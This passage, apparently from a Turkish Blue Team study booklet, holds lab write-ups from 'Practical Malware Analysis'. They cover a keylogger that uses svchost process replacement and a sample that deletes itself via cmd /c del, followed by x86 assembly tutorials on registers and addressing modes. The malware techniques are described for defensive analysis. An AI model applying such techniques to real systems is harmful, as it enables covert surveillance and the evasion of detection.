  • 47. svchost.exe'nin 2 kısmının da stringlerinin birbirinden çok farklı olduğunu görebiliriz ve bu kadar farkın olmaması gerekir. Memory string'e baktığımda svchost.exe'nin keylogging faaliyetleri yaptığını gösteren SetWindowsHookExA adlı stringi görebiliriz. Kötü amaçlı yazılımız muhtemelen daha sonra orphaned durumuna alınan svchost.exe'yi değiştirmek için process replacement adı verilen bir teknik kullanıyor ve kötü amaçlı kodla değiştirildikten sonra faaliyetlerine devam ediyor. E ne güzel 2.soruyu da açıklığa kavuşturduk. 3.soruda bize zararlı yazılımın host-based indicatorlerini yani herhangi bir yerdeki izleri de denebilir. Bu işlemde Process Monitor'den yardım alacağız. Saçma sapan yerlere kaymayalım diye önce adı svchost olan eventleri filtreledim. E burda da practicalmalwareanalysis.log adlı saçma sapan alakasız bir şey çıktı. Zararlı yazılımın keylogging eventlerini buraya kaydettiği fazlasıyla açık. Böylece 3. soruyu da açıklığa kavuşturmuş olduk. Son olarak bize programın amacını sormuş. Programın amacıen kısa şekilde svchost.exe yardımı ile hedef
  • 48. makinede keylogging eventleri gerçekleştirmek. Bugünkü konum bu kadardı herkese iyi forumlar. PMA LAB 03-03 TEMEL DİNAMİK ANALİZ Merhabalar,Blue Teamekibimizlebirlikte buhaftaPractical Malware AnalysiskitabınınBasic DynamicAnalysisbölümüne aitbölümsonulablarınınçözümlerini gerçekleştiriyoruz.Bende sizlere Lab 3-4 labınınçözümünügerçekleştireceğim. Hemenkitabımızdanbirekrangörüntüsüalalım. Lab-03-4.exe dosyasınıWindowsXPsistemimdeçalıştırarakanalizimize başlayacağım. NedenXPdiye sorulargeliyor.Öncelikle Githubsayfasındakibukesiti ekleyelimburadalabların WindowsXPile uyumluolduğunusöylüyor.Laboratuvarlarınbazılarınındaha yeni sürümlerde çalışmayacağını da göz önünde bulunduralımbusebeptenanalizlerimizde WindowsXPsistemini kullanıyoruz. Şimdi XPsistemimizde analiziçinkullanacağımızaraçlarıhazırlayalım.
  • 49. Hepsi budört araç. Wiresharkile zararlınınağaktivitelerinidinleyeceğiz.ProcessExplorerileçalışan süreçlerini inceleyeceğiz. ProcessMonitorile zararlınınoluşturacağıregistrykayıtlarını,dosya aktivitelerini,bağlantılarınıinceleyeceğiz.Regshotilede yine registeryüzerindekideğişimlerini inceleyeceğizbirazdankendisiylebaşlayacağız. Regshotile 1stshot diyerekzararlıyazılımıhenüzçalıştırmadananlık olarakregisterynindurumunu kaydetmesini isteyeceğim. Dahasonrasındazararlıyı çalıştırıp 2st shot diyeceğimve buiki kaydın compare edilmesiniyani karşılaştırılmasınıyapacakbize regshotyazılımı. 1.kayıt işleminitamamladıktansonrazararlımızıçalıştırıp ortalığı karıştırmasını istiyorum. Zararlı yazılımı çalıştırdım ve biranda processexplorer’agözattım ilgili sürecineklenmesiyleyok olmasıbir oldu.Aynızamandaekranabir adetCMD açıldı. Daha sonra zararlıyı çalıştırdığım dizine baktığımda kendisi oradayoktu.Benburadanbuzararlının çalışır çalışmaz kendini yokettiğini anladım.Şimdi buolayınanalizini processmonitörile gerçekleştireceğiz. Tabii bundanönce zararlıyı çalıştırdıktan sonra regshotyazılımında2st shot işlemini de gerçekleştiriyorum, çokbasitbutonabasıyorsunuzohallediyor. Bu işleminardından2kaydın karşılaştırmasını yapmakiçin‘compare’butonunabasıyoruzve bize plaintextformattaraporusunuyor.O rapora enson geleceğiz.Şimdiprocessmonitörile aktivitelere bir gözatalım ve 1.sorumuzucevaplandıralım.‘Whathappenswhenyourunthisfile?’busorudabize program çalıştığındanneleroluyordiye soruyor. E işte program çalışınca kendini siliyor.Şimdi nasıl yapmışbu işlemi bulalım.
  • 50. Processmonitörüzerinde Lab03-04.exe dosyasınaaitoluşturulanprosesleri filtreliyorum.Buradabize bir adetkayıt getiriyorbununayrıntısınabakalım.Buradafiltrelerinnasıl uygulanacağınıvideodave bir önceki konumdaayrıntılıolarakanlattım. İlgili sürecinayrıntısınabaktığımzaman komutsatırı üzerinde gördüğünüzgibi /cdel komutuile zararlının bulunduğudizindensilinmeişlemi gerçekleştirilmiş.Yani zararlımızkendini yoketmiş. Birinci sorumuzuncevabıbukadar. ‘What iscausingthe roadblockindynamicanalysis?’analiziengelleme yöntemlerini soruyor.Burada aklımıza paketlemevsgibi birişlemgelse de aslındabudeğil.Peidile de paketleme işlemine bakarsak herhangi birşeygöremeyeceğiz.Buradaanalizinengellemeyöntemiaslındailksorudagerçekleşen olaylabağlantılı.Zararlıkendini siliyor,pekibuzararlıkendini niye siliyor?Zararlınınçalışmama durumlarındanbirkaçıkendini hedef birsisteme göre konfigüre etmesiveyabelirli saatdiliminegöre çalışması olabilir.Bunlarıncevabınıdaaslındauygulamanınstringanalizini yaparakbulabiliriz. Uygulamanıniçerisindegeçenstringleregözattığımız zamandownload,upload,cmd.exe,/cdel,web adresi,nothingve softwareMicrosoftXPSstringlerini görüyoruz.Uygulamamızcmd.exeüzerinde silme işlemi gerçekleştiriyordubunlardazatenstringanaliziyle dinamikanalizinörtüştüğünokta. Burada dikkatederseniz‘softwareMicrosoftXPS’burasıkayıtdefterinde Local Machine altındayer alanbir yol burada zararlımız biranahtar oluşturuyorveyakontrol ediyorolabilirve bunagöre kendini bulunduğusistemde yaçalıştırıyorya da çalıştırmıyor. Nothing,zararlınınhiçbirşey yapmamasıanlamına geliyor. Buradaki karakterlerde önemli zararlıkendini system32altınakopyalıyorolabilirtabii çalıştıktan sonra ancak buradabizimzararlımız kendini yoketti.Aynızamandahemenaltındasaatdilimi ile alakalıkarakterleryeralıyor,buda zararlınınbir saat diliminihedef aldığıanlamınagelebilir.İkinci sorumuzundacevaplarınıbu şekilde verebiliriz. ‘Are there otherwaysto run thisprogram?’3.sorumuzdaise programfarklıhangi yollarla çalıştırılabilirdiye bize soruyor.Programımızfarklıargümanlarlakomutsatırıüzerinde çalıştırılabilir. Regshotüzerindeki raporadagöz atalım.
  • 51. Burada zararlı çalıştıktan sonrakayıt defterinde3adet keyeklendiğini,6kaydıneklendiğini,32 değerinmodifiyeedildiğini görüyoruz. Burada ‘ShellNoRoam’ altındabirçokişlemingerçekleştiğini görüyoruz.Burada‘MUICache’ gözümüze çarpıyor,bununkayıt defteri artifactlerindenbiri olduğunubiliyoruz.Buanahtarımız program yürütme izlerini kaydediyor.Buanahtarile programınyürütüldüğüyoludagörebiliyoruz. Bu programın bölüm9 lablarındadaha detaylıinceleneceğini de söylüyor. Bizdeileri seviyestatik analizeğitimlerimize başladığımızzamanbunatekrardandeğinerekprogramınAssemblyseviyesinde analizini yaparakdahasağlıklıinceleyeceğiz. Bu konumuzbukadar, okuduğunuziçinteşekkürler.ZararlıYazılım Analizi kategorisindendiğer konularımızaulaşabilirsiniz.Lablarıindirebileceğinizadres: https://github.com/mikesiko/PracticalMalwareAnalysis-Labs
  • 53. ASSEMBLY REGİSTER, KOD YAPISI Assembly KodYapısı ------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------ Data Bölümü(Veri Bölümü)= Veri bölümü, başlatılan verileri veya sabitleri bildirmek için kullanılır. Bu veriler çalışma zamanında değişmez. Çeşitli sabit değerleri, dosya adlarını veya arabellek boyutunu vb. bildirebilirsiniz. Veri bildirme sözdizimi aşağıdaki gibidir = section.data Bss Bölümü = BSS bölümü değişkenleri bildirmek için kullanılır. BSS bölümünü bildirmekiçin sözdizimi aşşağıdaki gibidir= section.bss Text Bölümü(MetinBölümü) = Metin bölümü gerçek kodu tutmak için kullanılır. Bu bölüm, çekirdeğe programın yürütülmesinin nerede başladığını bildiren global _start bildirimiyle başlamalıdır.
  • 54. Metin bölümünün bildirilmesi için sözdizimi = section.text global _start _start: ------------------------------------------------------------------------------------------------------------------- Assembly Registers İşlemci işlemleri çoğunlukla veri işlemeyi içerir. Bu veriler bellekte saklanabilir ve oradan erişilebilir. Bununla birlikte, verileri bellekten okumak ve belleğe depolamak, işlemciyi yavaşlatır, çünkü veri isteğini kontrol veriyolu üzerinden ve bellek depolama birimine göndermek ve verileri aynı kanaldan almak için karmaşık işlemleri içerir. İşlemci işlemlerini hızlandırmak için işlemci, kayıtlar adı verilen bazı dahili bellek depolama konumlarını içerir. Kayıtlar, belleğe erişmek zorunda kalmadan veri öğelerini işlemek için depolar. İşlemci çipine sınırlı sayıda kayıt yerleştirilmiştir. Processor Register (İşlemci Kayıtları)= IA-32 mimarisinde on adet 32 bit ve altı adet 16 bit işlemci kaydı vardır. Kayıtlar üç kategoriye ayrılır = 1- General Registers (Genel Kayıtlar) 2- Control Registers (Kontrol Kayıtları) 3- Segment registers. (Segment Kayıtları) Genel kayıtlar ayrıcaaşağıdaki gruplara ayrılmıştır =
  • 55. 1- Data Registers (Veri Kayıtları) 2- Pointer Registers (İşaretçi kayıtları) 3- İndex Registers (Dizin Kayıtları) ------------------------------------------------------------------------------------------------ Data Registers (Veri Kayıtları) = Aritmetik, mantıksal ve diğer işlemler için dört adet 32 bit veri kaydı kullanılır. Bu 32-bit kayıtları üç şekilde kullanılabilir= 1- Tam 32-bit veri kayıtları olarak: EAX, EBX, ECX, EDX. 2- 32-bit kayıtların alt yarısı dört 16-bit veri kaydı olarak kullanılabilir: AX, BX, CX ve DX. 3- Yukarıda belirtilen dört 16 bit kaydın daha düşük ve daha yüksek yarısı sekiz 8 bit veri kaydı olarak kullanılabilir: AH, AL, BH, BL, CH, CL, DH ve DL. Bu veri kayıtlarının bazıları aritmetik işlemlerde özel bir kullanıma sahiptir. AX birincil akümülatör; giriş/çıkış ve çoğu aritmetik talimatta kullanılır. Örneğin, çarpma işleminde, bir işlenen işlenenin boyutuna göre EAX veya AX veya AL kaydında saklanır. BX temel kayıt olarak bilinir, dizinlenmiş adreslemede kullanılabileceği gibi. CX, sayım kaydı olarak bilinir, ECX olarak, CX kayıtları döngü sayısını yinelemeli işlemlerde saklar.
  • 56. DX is known as the data register. Giriş / çıkış işlemlerinde de kullanılır. Ayrıca, büyük değerleri içeren çarpma ve bölme işlemleri için DX ile birlikte AX kaydı ile birlikte kullanılır. ------------------------------------------------------------------------------------------------ Pointer Registers(İşaretçi Kayıtları) = Işaretçi kayıtları 32-bit EIP, ESP ve EBP kayıtları ve karşılık gelen 16-bit sağ bölümleri IP, SP ve BP vardır. İşaretçi kayıtlarının üç kategorisi vardır = 1- Instruction Pointer (IP) (Talimat işaretçisi) = 16 bit IP kaydı, yürütülecek sonraki talimatın mahsup adresini saklar. CS kaydı ile birlikte IP (CS: IP olarak), kod segmentindeki geçerli talimatın tam adresini verir. 2- Stack Pointer (SP) (Yığın işaretçisi) = 16 bit SP kaydı, program yığını içindeki mahsup değerini sağlar. SS kaydı (SS:SP) ile bağlantılı olarak SP, program yığınındaki verilerin veya adresin mevcut konumunu ifade eder. 3- Base Pointer (BP) (Temel İşaretçi) = 16-bit BP kaydı esas olarak bir alt yordama geçirilen parametre değişkenlerine başvurmaya yardımcı olur. SS kaydındaki Adres, parametrenin konumunu almak için bp'deki ofset ile birleştirilir. BP, özel adresleme için temel kayıt olarak DI ve sı ile de birleştirilebilir. ------------------------------------------------------------------------------------------------------------------- Index Registers(DizinKayıtları) = 32-bit Yönerge işaretçisi kaydı ve 32-bit bayrak kaydı birleştirilmiş denetim kayıtları olarak kabul edilir.
  • 57. Birçok talimat karşılaştırmalar ve matematiksel hesaplamalar içerir ve bayrakların durumunu değiştirir ve diğer bazı koşullu talimatlar, kontrol akışını başka bir yere taşımak için bu durum bayraklarının değerini test eder. Ortak bayrak bitleri şunlardır: Owerflow Flag (OF) (Taşma bayrağı) = İmzalı bir aritmetik işlemden sonra yüksek mertebeden bir bitin (en soldaki bit) veri taşmasını gösterir. Direction Flag (DF) (Yön bayrağı) = Dize verilerini taşımak veya karşılaştırmak için sol veya sağ yönü belirler. DF değeri 0 olduğunda, dize işlemi soldan sağa doğru yön alır ve değer 1 olarak ayarlandığında, dize işlemi sağdan sola doğru yön alır. Interrupt Flag (IF) (Kesme bayrağı)= Harici kesmelerin klavye girişi vb.gibi olup olmadığını belirler., göz ardı edilecek veya işlenecektir. Değer 0 olduğunda harici kesintiyi devre dışı bırakır ve 1 olarak ayarlandığında kesmeleri etkinleştirir. Trap Flag (TF) (Tuzak bayrağı) = İşlemcinin çalışmasını tek adımlı modda ayarlamanıza izin verir. Kullandığımız hata ayıklama programı tuzak bayrağını ayarlar, böylece bir seferde bir komut yürütmeyi adım atabiliriz. Sign Flag (SF) (İşaret bayrağı) = Bir aritmetik işlemin sonucunun işaretini gösterir. Bu bayrak, aritmetik işlemi izleyen bir veri öğesinin işaretine göre ayarlanır. İşaret, en soldaki bitin yüksek sırası ile gösterilir. Pozitif sonuç, SF değerini 0'a temizler ve negatif sonuç 1'e ayarlar. Zero Flag (ZF) (Sıfır bayrak) = Bir aritmetik veya karşılaştırma işleminin sonucunu gösterir. Sıfır olmayan bir sonuç sıfır bayrağını 0 olarak temizler ve sıfır sonucu 1 olarak ayarlar. Auxiliary Carry Flag (AF) (Yardımcı taşıma bayrağı) = Aritmetik işlemden sonra bit 3'ten bit 4'e taşıma içerir; özel aritmetik için kullanılır. AF, 1 baytlık bir aritmetik işlem bit 3'ten bit 4'e taşınmasına neden olduğunda ayarlanır.
  • 58. Parity Flag (PF) (Parite bayrağı) = Bir aritmetik işlemden elde edilen sonuçtaki Toplam 1 bit sayısını gösterir. Çift sayıda 1-bit, eşlik bayrağını 0'a temizler ve tek sayıda 1-bit, eşlik bayrağını 1'e ayarlar. Carry Flag (CF) (Taşıma bayrağı) = Bir aritmetik işlemden sonra yüksek mertebeden bir bitten (en soldaki) 0 veya 1'in taşınmasını içerir. Ayrıca, bir kaydırma veya döndürme işleminin son bitinin içeriğini de saklar. ------------------------------------------------------------------------------------------------ Segment Registers(Segment Kayıtları) = Segmentler,veri,kodve yığıniçerenbirprogramdatanımlananbelirli alanlardır. Üç ana bölümvardır = 1- Code Segment (Kod Segmenti) = Yürütülecek tüm talimatları içerir. 16 bit kod segmenti kaydı veya CS kaydı, kod segmentinin başlangıç adresini depolar. 2- Data Segment (Veri Segmenti) = Veri, sabitler ve çalışma alanları içerir. 16-bit veri segmenti kaydı veya DS kaydı, veri segmentinin başlangıç adresini depolar. 3- Stack Segment (Yığın Segmenti) = Yordamların veya alt yordamların verilerini ve dönüş adreslerini içerir. Bir 'yığın' veri yapısı olarak uygulanır. Yığın Kesimi kaydı veya SS kaydı, yığının başlangıç adresini depolar. DS, CS ve SS kayıtlarının yanı sıra, verileri depolamak için ek segmentler sağlayan ES (ekstra segment), FS ve GS gibi başka ekstra segment kayıtları da vardır.Derleme programlamada, bir programın bellek konumlarına erişmesi gerekir. Bir segment içindeki tüm bellek konumları, segmentin başlangıç adresine göredir. Bir segment, 16 veya onaltılık 10 ile eşit olarak bölünebilen bir adreste başlar. Bu nedenle, tüm bu bellek adreslerindeki en sağdaki onaltılık rakam, genellikle segment kayıtlarında saklanmayan 0'dır. Segment kayıtları, bir segmentin başlangıç adreslerini saklar. Bir segment içindeki verilerin veya talimatların tam yerini almak için bir ofset değeri (veya yer değiştirme) gereklidir. Bir segmentteki herhangi bir bellek konumuna başvurmak için işlemci, segment kaydındaki segment adresini konumun uzaklık değeriyle birleştirir.
  • 59. VERİ AKTARIM KOMUTLARI Merhabalar,Blue TeamekibimizleberaberAssemblydersserimizibaşlattık.İleri seviye malware analizkonularıöncesi Assemblybilgisinesahipolmamızgerekiyor. Bensize bukonudaAssemblyde veri aktarım komutlarındanbahsedeceğim.Örneklerimi x86ve 8086 mimarilerine göre yapacağım. MOV KOMUTU MOV komutuişlevolarakkopyalamagöreviniyerinegetiriyor.Verilerinkaydedicilere,belleğe atılmasını sağlamaktadır. MOV komutuyapı olarak hedeftenkaynağadoğrudur. MOV hedef,kaynak Burada hedef kısmıverininaktarılacağıadresi ifade ederkenkaynakise aktarılacakveri anlamına geliyor.Üstdüzeydillerdeki değişkenkavramınıaslındabuolayabenzetebiliriz.Örneğin birdeğişkene 5 değerini atıyorsunuzhedefinizatanandeğişken,kaynağınızise atanandeğeroluyor. Burada şu ayrıntıya da dikkatedelimkaynaktanhedefeaktarımyapılırkenkaynağındeğeri asla kaybolmaz. Tıpkı masaüstünde yeralandosyayıkopyalayıpfarklıbirdizinde yapıştırmakgibi düşünebiliriz.Heriki taraftaveriye sahipoluyor.MOV komutumuzlaalakalıbirkaçörnekyazıp konuşmayadevamedelim. Burada hedefimEAXregisterı(Registerlarile ilgili ayrıbirkonumuzbulunmaktadır.Assembly kategorisinegözatabilirsiniz.) kaynağımise 25hdeğeri hexadecimal olarak25 değerini EAX registerınaaktarıyor. Burada 4142 değerini yineaynışekildeEAXregisterınaaktarıyorum.10 ve 2E değerlerininregister üzerine düştüğünügörüyoruz. EAX registerınasignedsayıtipindebaktığımzaman4142 değerini netbirşekilde görebiliyorum.Bunu daha netbir şekildeEMU8086 emulatörümüaçarakdasize göstermekistiyorum.
  • 60. Burada 8086 mimarisindeişlemyaptığımiçinAXyazıyorum.Buregisterımdakendi içerisinde 8bitlik iki bölüme ayrılıyor.Sol taraftaregisteralanınabaktığım zamanH ve L bölümleri yani AH,AL registerlarınasırayla10 ve 2E değerleriyani gönderdiğim4142 değerleri düşmüş.Şualanlarabir tıklayıpgörmedenönce sağtarafta MOV AX,102Eh atamasını görüyorum.Benimgönderdiğim4142 değeri hexadeciimal olarakAX’eatanıyor. Burada registerımagönderdiğimdeğerlerinhex olarakyazıldığınıve decimal olarakdakarşılıklarını görüyorum. Burada 10 ve 2E hexadecimal değerlerinascii karşılıklarıdabu şekilde.Bukavramlardakafanızdasoru işareti kalıyorsaASCII,Hexadecimal,decimal,sayıtabanları,gösterimlerkonularınagözatmanızda faydavar.
  • 61. E mademregisterahexadecimal ekleyerekatıyorsunbizde 4142h diyerekhexadecimal olarakdirekt 4142 değerini registerdagörmekisteyebiliriz. Aynı olayı8086 mimarisine uygunolarakgörseldeki gibiyazıyorum.Buradakodumusinglestep diyerekadımadım işleyipregisterlarımıinceliyorum.Zatenilkstepde movkomutuile kopyalama işleminigerçekleştiriyor. Stepback komutuile atamaişleminigerçekleştirmedendurumabaktığımzaman1001 ve 1002 offset değerlerinde 42ve 41 hexadecimal değerlerimigörüyorum.Yani buoffsetler birsonraki stepde işlenecek. RAMüzerinde ilgili değerlerimi görüyorum. Yukarıdaki kod bloğunuincelersekilkolarakax registerına5 daha sonra4 değeri sıraylaatanacaktır.
  • 62. İlkblokgerçekleştive ax 5 değerini aldı.Dahadoğrubir ifadeyle8bitlikbuveri 8 bitlikALregisterına düşüyor. Tekrar stepdedikve 4 değerininALiçerisinedüştüğünügörüyoruz.Buradaki olaydalittle endian,big endiankavramlarınıçağrıştırıyor, ilerde bahsedilecektir.Buörnekler,kullanımlarçeşitlendirebilirbiz diğerkomutlarımızageçelim. XCHG KOMUTU Bu da takasçımız diyebilirim.Yada benimolanısana,seninolanıbanaveriyorda diyebilirim.Örneği göndergelsin. Anlatmayagerekyokişte görüyorsunuz.EAXve ECXdeğerlerini birbiriyle takasetmişler. INC – DEC KOMUTLARI Burada EAXregisterı5 değerine sahipkeninckomutuile değeri 1artıyor ve 6 oluyor.Buradadirekt programı run ettiğimdendolayıdoğal olarakincedilmişhalinidirektgörüyorum.Debuggervasıtasıyla Stepstepincelersem5değeri ile açılışıyapıp 6 ile kapanışyaptığını görebilirim.DECkomutuise tam tersi azaltmaişleminiyapıyor.
  • 63. LEA KOMUTU Burada sayilaradındadefine byte yani 1byte=8bitlikdeğerlere sahiphexadecimaldeğerleri tutanbir dizimvar.Lea komutuise bx registerınasayilardizisininoffsetiniyani başlangıçdeğeri olan10h değerini atıyor.Yani bukomutumuzkaynağınoffsetdeğerini hedefe aktarır. XLAT KOMUTU Şimdi buradaadım adım açıklarsam BX registerınasayilarınoffseti yani 25değeri taşınıyor.mov komutual içine 1 atıyor ve xlatbu değeri 1artırıyor ve bu da sayilardizisi içindekiilkofsettensonra gelen26 değerini al içerisine kopyalıyor. Temel olarakaktarabileceğimveri aktarımkomutlarıbuşekildeydi.Okuduğunuziçinteşekkürler. ADRESLEME MODLARI X86 Assembly Adresleme Modları Bu haftaki konumuz X86 Assembly Adresleme Modları hakkında olacak. İlk olarak X86 ve X86 Assembly terimlerine ayrı ayrı değinmemiz gerekiyor. X86 Nedir? İntel'in 8086 işlemcisini merkez alan bir işlemci mimarisidir. İntel ve AMD işlemciler bu mimariyi kullanmaktadır. Bu yüzden pazarın %90'ını bu mimari oluşturmaktadır. X86 mimarisini kullanan işlemciler genelde aynı komut setlerini kullanır. X86 Assembly Nedir?
  • 64. X86 mimarisine sahip işlemcilere uyumlu olan Assembly dili demektir. Assembly hakkında biraz detaya inecek olursak Assembly, alt seviye dillerden biridir yani makine diline yakındır ve İngilizce sözcüklerin kısaltmasından oluşmuştur. Assembly genellikle karmaşık programlar yazmak için kullanılıyor. Performans odaklı ve hafıza üzerinde az yer kaplar. Assembly platformdan bağımsız, hedef bilgisayar mimarisine sıkı sıkıya bağlı bir dildir. Bilgisayar üzerinde direkt müdehale imkanı tanır. Assembly diğer programlama dilleri ile genellikle yapamayacağımız bir çok şeyi yapma imkanı sunar. Özellikle siber güvenlik alanında;  Program ve işletim sistemlerinin güvenlik açıklarını görmek,  Şifre kırma, hacking işlemleri,  Malware ve anti-malware programları yazmak için kullanılabiliyor. Ayrıca Assembly dilini makine koduna çeviren programlara Assembler denir. Assembler birebir dönüşüm yapmaktadır. Bu yüzden derleyicilerden ayrılırlar. Konumuza dönecek olursak.. Adresleme modları memory'nin nasıl kullanıldığının, memory'ye nasıl erişileceğini ve verilerin memory'ye nasıl yerleştirileceğini belirler. X86 Assembly'de doğru bir yazılım geliştirmek ve işleyişi tam olarak anlamak için her bir komut için adresleme modunu bilmek gerekir. Adresleme yöntemlerinin fazla olması high-level dillerdeki karmaşık işlemlerin daha kolay bir şekilde yerine getirilmesine olanak tanır. Adresleme modlarını 3 farklı kategoride inceleyebiliriz.  Veri Adresleme  Program Adresleme  Yığın Adresleme Veri Adresleme Modları Registerlar arasında ve register ile memory arasında yapılan 8,16 veya 32 bitlik veri aktarımı işlemlerinde MOV komutunun kullanıldığı adresleme yöntemidir. Kendi içerisinde yediye ayrılır. 1. Register Addressing(Saklayıcı/kaydedici Adresleme) 2. Immediate Addressing(İvedi Adresleme) 3. Direct Addressing(Doğrudan Adresleme) 4. Register Indirect Addressing(Kaydediciye Dayalı Adresleme) 5. Base-Plus-Index Addressing(Baz-Artı-İndis Adresleme) 6. Register Relative Addressing(Kaydediciye Dayalı Göreceli Adresleme) 7. Base Relative-Plus-Index Addressing(Baz Göreceli-Artı-İndis Adresleme) Bunlara başlamadan önce MOV komutunu hatırlayalım
  • 65. MOV AX,BX MOV > Opcode(Operasyon kodu) mikroişlemciye hangi operand operasyonun çalıştırılacağını belirtir. AX > Destionation(Hedef) BX > Source(Kaynak)  Veri aktarım yönü hedef > kaynak  Operand(işlem fonksiyonu) 1.RegisterAddressing(Saklayıcı/kaydedici Adresleme) Bu adresleme modunda kaynak ve hedef operand'ın her ikisi de 8086 register'larıdır. Yani mikroişlemcinin iç register'ları arasında işlemler gerçekleştirilir. Bu yüzden memory ile erişim yapılmaz. Memory ile erişim yapılmadığı için çok hızlıdır. Örnek: MOV AL,BH > BH, AL'ye kopyalanır.(İkisi de 8-bit register'dır.) MOV AX,DX > DX, AX'e kopyalanır.(İkisi de 16-bit register'dır.) * 8,16 veya 32 Bit register'lar olabilir ama karışık kullanılamaz. Örnek: MOV AL,BX > Şeklinde kullanılamaz.Sebebi AL 8-bit register, BX ise 16-bit register olmasıdır. 8-bit Register = AH,AL,BH,BL,CH,CL,DH,DL 16-bit Register = AX,BX,CX,DX,SP,BP,SI,DI 32-bit Register = EAX,EBX,ECX,EDX Not: Daha fazlası var. * Bir segment saklayıcısından diğerine adres aktarımı için MOV komutu kullanılamaz. Örnek: MOV ES,DS > Şeklinde kullanılamaz.Sebebi segment'den segmente bir aktarım vardır. * CS registerı hedef konumda olamaz. Yani MOV komutu ile değiştirilemez. Sebebi yürütülecek olan bir sonraki komutun adresi CS:IP çifti tarafından belirlenmektedir. CS registerı değiştirilirse yürütülecek bir sonraki komutun adresi belirsiz olacaktır. Örnek: MOV CS,AX > Şeklinde kullanılamaz.CS registerı hedef konumda. 2.Immediate Addressing(İvedi Adresleme)
  • 66. Kaynak operand sabit bir veri olmalıdır. Bu sabit veri hedef registera aktarılır. Immediate(hemen, acil anlamı vardır.) kelimesi heksadesimel opcode'dan(Operasyon kodu, buradaki örneklerde mov) hemen sonra gelen hafıza satırındaki verinin kullanılmasını ifade eder. * Immediate veriler sabittir, zaten yukarıda bahsetmiştik. Register'dan veya hafıza satırından okunan veriler, değişken verilerdir. Not: Herhangi bir sabit, ilk operand'ın(yani hedef operand) uzunluğundan daha büyük bir veri olamaz, ama daha küçük olabilir. * Segment register'lar ve flag register'lar ilk operand'da(hedef operand'da) kullanılamaz. Örnek: MOV AL,23 > 23(Decimal) AL register'ına kopyalandı. MOV BX,77H > 77H(Hex veriler sonunda h harfiyle belirtilir.) BX register'ına kopyalandı. 3.Direct Addressing(Doğrudan Adresleme) Doğrudan bir adres değeri kullanılır. Bir adresten bir registera veri aktarımı gerçekleştirilir. Özet olarak operand'lardan birisi adres belirtir. MOV Register,Memory veya Memory,Register Örnek: MyAddress DW,32H > MyAddress bir adrestir. 32H bu adresin içindeki değerdir. MOV AX,MyAddress > MyAddress içerisindeki değeri AX register'ına at Bu işlemi direkt olarak şu şekilde de yapabilirdik: MOV AX,[32H] Not: [..] sembolü Assembly dilinde dolaylı adresleme için kullanılır. 4.RegisterIndirect Addressing(Kaydediciye Dayalı Adresleme) BX,BP,DI,SI register'ları ile hafızanın herhangi bir yerinde bulunan bir veri adreslenir. BX,DI,SI > DS'de bulunan veriyi adreslemektedir. BP ise > SS'de bulunan bir hücre adreslenmiş olur. Örnek: MOV AL,[BX] > DS alanında bulunan ve BX ile adreslenen veriyi AL'ye kopyala
  • 67. MOV [BP],CL > BP ile adreslenen SS alanindaki hafıza hücresine CL'yi kopyala 5.Base-Plus-Index Addressing(Baz-Artı-İndis Adresleme) Baz register'da(BP veya BX) bulunan degere indis register'larda(DI veya SI) bulunan değer ilave edilerek bulunan değerin işaret ettiği hafıza adresindeki veri ile register'da bulunan veri arasında yapılan transferi gerçekleştirir. Buradaki baz register'lar, bir hafıza dizisinin başlangıç adresini, indis register'lar ise dizideki verinin göreceli pozisyonunu tutar. MOV Register,[Baz Register + İndis Register] Örnek: MOV CL,[BP+SI] > SS alanında bulunan ve BP + SI toplamı ile adreslenen veri CL'ye kopyalanır. MOV [BX+DI],CL > CL'de bulunan veri BX+DI toplamı ile adreslenen alana kopyalanır. 6.RegisterRelative Addressing(Kaydediciye Dayalı Göreceli Adresleme) İndis veya baz register'larından herhangi birine bir sayı ileve edilmesiyle oluşan değerin hafıza bölgesi ile işaret ettiği(hedef registera) registera kopyalanmasıdır. MOV Register,[indis or baz + sayı] Örnek: MOV AX,[BX+50] > DS alanında bulunan BX+50 toplamı ile adreslenen veri AX'e kopyalanır. 7.Base Relative-Plus-Index Addressing(Baz Göreceli-Artı-İndis Adresleme) Register Relative benzemektedir. Buradaki fark indis ve baz registerlarının ikisininde bulunmasıdır. Bunların üzerine bir de sayı eklenmesiyle oluşan değerin işaret ettiği hafıza bölgesi ile register arasındaki kopyalama işlemidir. MOV Register,[Baz + İndis + Sayı] Örnek: MOV AX,[BX+DI+5] > DS'de bulunan ve BX+DI+5 ile ifade edilen yerdeki veriyi AX register'ına kopyalar. Program Adresleme Modları Programa karar verme özelliği sağlayarak program akışını kontrol eden veya değiştiren
  • 68. adresleme modlarıdır. JMP komutu sıkça kullanılır. JMP komutu Nedir? Programı belirtilen etiketin olduğu yere dallandırmakta ve program buradan çalışmaya devam etmektedir. JMP HEDEF Kendi içerisinde üçe ayrılır. 1. Doğrudan(Direct) Program Hafıza Adresleme 2. Göreceli(Relative) Program Hafıza Adresleme 3. Dolaylı(Indirect) Program Hafıza Adresleme 1.Doğrudan(Direct) Program Hafıza Adresleme Segmentler arası bir işlemdir.Mevcut kod segmentinden farklı bir kod segmentine geçiş sağlar. Eğer doğrudan bir program adresine ulaşmak istiyorsak kullanabiliriz. Bu adreslemede CS:IP çifti uygun şekilde değiştirilir. Örnek: JMP 200H:300H > CS <- 200H , IP <- 300H 2.Göreceli(Relative) Program Hafıza Adresleme Mevcut IP register'ın değerine göre hangi program hafızasının adresleneceğini ifade eder. Örnek: JMP 100 JMP 0FFH JMP 1000H 3.Dolaylı(Indirect) Program Hafıza Adresleme 16-bit register'lardan(AX,BX,CX,DX,SP,BP,SI,DI..) herhangi biri, göreceli bir registerı veya bir yer değişim değeri ile beraber kullanılabilir. Örnek: JMP CX > o an hangi kod segmenti içindeysek, BX ile adreslenen hafıza bölgesine dallan JMP [BX] > o an hangi kod segmenti içindeysek, BX ile işaretli DS'de yer alan bir ofset ile adreslenen yere dallan
